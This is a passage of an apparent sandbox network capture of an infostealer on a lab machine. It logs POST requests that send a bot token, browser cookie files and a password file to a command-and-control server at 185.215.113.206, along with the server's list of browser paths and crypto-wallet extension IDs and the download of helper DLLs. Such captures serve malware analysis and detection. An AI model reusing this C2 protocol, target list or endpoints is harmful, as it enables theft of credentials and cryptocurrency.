name="token"e797d5771ed49885a979e73cc9b111314e3265510b069a6842d6bba2d0fb8fff57a26dad------FIDHCFBAKFBGDGDHJKJJContent-Disposition: form-data; name="message"plugins------FIDHCFBAKFBGDGDHJKJJ--
Nov 24, 2024 19:11:22.876926899 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 24, 2024 19:11:23.223566055 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:11:23 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 24, 2024 19:11:23.223587036 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 24, 2024 19:11:23.223602057 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 24, 2024 19:11:23.223705053 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 24, 2024 19:11:23.223720074 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Nov 24, 2024 19:11:23.223735094 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Nov 24, 2024 19:11:23.225552082 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAAFBFBAAKECFIEBFIEC Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 41 46 42 46 42 41 41 4b 45 43 46 49 45 42 46 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 39 37 64 35 37 37 31 65 64 34 39 38 38 35 61 39 37 39 65 37 33 63 63 39 62 31 31 31 33 31 34 65 33 32 36 35 35 31 30 62 30 36 39 61 36 38 34 32 64 36 62 62 61 32 64 30 66 62 38 66 66 66 35 37 61 32 36 64 61 64 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 42 46 42 41 41 4b 45 43 46 49 45 42 46 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 42 46 42 41 41 4b 45 43 46 49 45 42 46 49 45 43 2d 2d 0d 0a Data Ascii: ------BAAFBFBAAKECFIEBFIECContent-Disposition: form-data; name="token"e797d5771ed49885a979e73cc9b111314e3265510b069a6842d6bba2d0fb8fff57a26dad------BAAFBFBAAKECFIEBFIECContent-Disposition: form-data; name="message"fplugins------BAAFBFBAAKECFIEBFIEC--
Nov 24, 2024 19:11:23.723239899 CET	335	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:11:23 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 24, 2024 19:11:23.778367996 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFIECBFIDGDAKFHIEHJK Host: 185.215.113.206 Content-Length: 5527 Connection: Keep-Alive Cache-Control: no-cache
Nov 24, 2024 19:11:23.778438091 CET	5527	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 39 37 64 35 Data Ascii: ------CFIECBFIDGDAKFHIEHJKContent-Disposition: form-data; name="token"e797d5771ed49885a979e73cc9b111314e3265510b069a6842d6bba2d0fb8fff57a26dad------CFIECBFIDGDAKFHIEHJKContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 24, 2024 19:11:24.940161943 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:11:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 19:11:25.194108963 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 19:11:25.710251093 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:11:25 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 24, 2024 19:11:25.710345984 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 24, 2024 19:11:25.714489937 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49725	185.215.113.206	80	568	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 19:11:35.016810894 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIEHJKJJJECFHJJJKKEC Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 4b 4a 4a 4a 45 43 46 48 4a 4a 4a 4b 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 39 37 64 35 37 37 31 65 64 34 39 38 38 35 61 39 37 39 65 37 33 63 63 39 62 31 31 31 33 31 34 65 33 32 36 35 35 31 30 62 30 36 39 61 36 38 34 32 64 36 62 62 61 32 64 30 66 62 38 66 66 66 35 37 61 32 36 64 61 64 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 4b 4a 4a 4a 45 43 46 48 4a 4a 4a 4b 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 4b 4a 4a 4a 45 43 46 48 4a 4a 4a 4b 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------IIEHJKJJJECFHJJJKKECContent-Disposition: form-data; name="token"e797d5771ed49885a979e73cc9b111314e3265510b069a6842d6bba2d0fb8fff57a26dad------IIEHJKJJJECFHJJJKKECContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------IIEHJKJJJECFHJJJKKECContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------IIEHJKJJJECFHJJJKKEC--
Nov 24, 2024 19:11:37.037611961 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:11:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 19:11:37.197012901 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGDGHCAAKECFHJKFIJK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 44 47 48 43 41 41 4b 45 43 46 48 4a 4b 46 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 39 37 64 35 37 37 31 65 64 34 39 38 38 35 61 39 37 39 65 37 33 63 63 39 62 31 31 31 33 31 34 65 33 32 36 35 35 31 30 62 30 36 39 61 36 38 34 32 64 36 62 62 61 32 64 30 66 62 38 66 66 66 35 37 61 32 36 64 61 64 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 47 48 43 41 41 4b 45 43 46 48 4a 4b 46 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 47 48 43 41 41 4b 45 43 46 48 4a 4b 46 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HDGDGHCAAKECFHJKFIJKContent-Disposition: form-data; name="token"e797d5771ed49885a979e73cc9b111314e3265510b069a6842d6bba2d0fb8fff57a26dad------HDGDGHCAAKECFHJKFIJKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HDGDGHCAAKECFHJKFIJKContent-Disposition: form-data; name="file"------HDGDGHCAAKECFHJKFIJK--
Nov 24, 2024 19:11:38.163980961 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:11:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49750	185.215.113.206	80	568	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 19:11:44.290041924 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHCAKKJDBKKFHJJDHII Host: 185.215.113.206 Content-Length: 3083 Connection: Keep-Alive Cache-Control: no-cache
Nov 24, 2024 19:11:44.290118933 CET	3083	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 45 48 43 41 4b 4b 4a 44 42 4b 4b 46 48 4a 4a 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 39 37 64 35 Data Ascii: ------IEHCAKKJDBKKFHJJDHIIContent-Disposition: form-data; name="token"e797d5771ed49885a979e73cc9b111314e3265510b069a6842d6bba2d0fb8fff57a26dad------IEHCAKKJDBKKFHJJDHIIContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 24, 2024 19:11:46.132062912 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:11:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 19:11:46.328231096 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJEGIJEGDBFHDGCAFCAE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 47 49 4a 45 47 44 42 46 48 44 47 43 41 46 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 39 37 64 35 37 37 31 65 64 34 39 38 38 35 61 39 37 39 65 37 33 63 63 39 62 31 31 31 33 31 34 65 33 32 36 35 35 31 30 62 30 36 39 61 36 38 34 32 64 36 62 62 61 32 64 30 66 62 38 66 66 66 35 37 61 32 36 64 61 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 47 49 4a 45 47 44 42 46 48 44 47 43 41 46 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 47 49 4a 45 47 44 42 46 48 44 47 43 41 46 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JJEGIJEGDBFHDGCAFCAEContent-Disposition: form-data; name="token"e797d5771ed49885a979e73cc9b111314e3265510b069a6842d6bba2d0fb8fff57a26dad------JJEGIJEGDBFHDGCAFCAEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JJEGIJEGDBFHDGCAFCAEContent-Disposition: form-data; name="file"------JJEGIJEGDBFHDGCAFCAE--
Nov 24, 2024 19:11:47.271265030 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:11:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 19:11:47.893562078 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 19:11:48.362364054 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:11:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 24, 2024 19:11:48.362380981 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO
